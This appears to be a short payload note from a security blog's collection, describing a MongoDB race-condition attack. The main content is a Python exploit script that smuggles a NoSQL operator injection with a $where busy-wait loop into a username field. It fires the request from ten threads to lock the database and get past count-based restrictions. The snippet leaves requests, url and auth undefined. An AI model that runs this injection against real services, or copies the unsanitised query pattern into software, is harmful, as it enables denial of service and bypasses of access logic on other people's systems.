MongoDB Race Condition payload

Tue, 30 Jan 2024 00:00:00 +0900

Information

Target: MongoDB
Vulnerability: Race Condition

Desc

MongoDB Race Condition Attack with db lock.

Example

Code

// admin.controller.ts
@Post('list')
async getFlagList(@Body() listDto: ListDto): Promise<FlagDocument[]> {
	return await this.adminService.getFlagList(listDto.username);
}

Exploit

import threading
import json

# Logic Vulnerability - Database Lock
def lock():
 res = requests.post(f"{url}/admin/list", headers=auth,
 json={"username": '''admin", "$or": [{"dummy": "dummy"},{"$where": "date=new Date();do{cur=new Date();}while(cur-date<5000) + 1 || true"}], "":"'''})
 print(res.text)

threads = []
for i in range(10):
 thread = threading.Thread(target=lock)
 threads.append(thread)
 thread.start()

It takes a long time to count the number of existing documents in the DB, so logic such as number restrictions can be bypassed.

MongoDB on whguswo

MongoDB Race Condition payload

Information

Desc

Example

Code

Exploit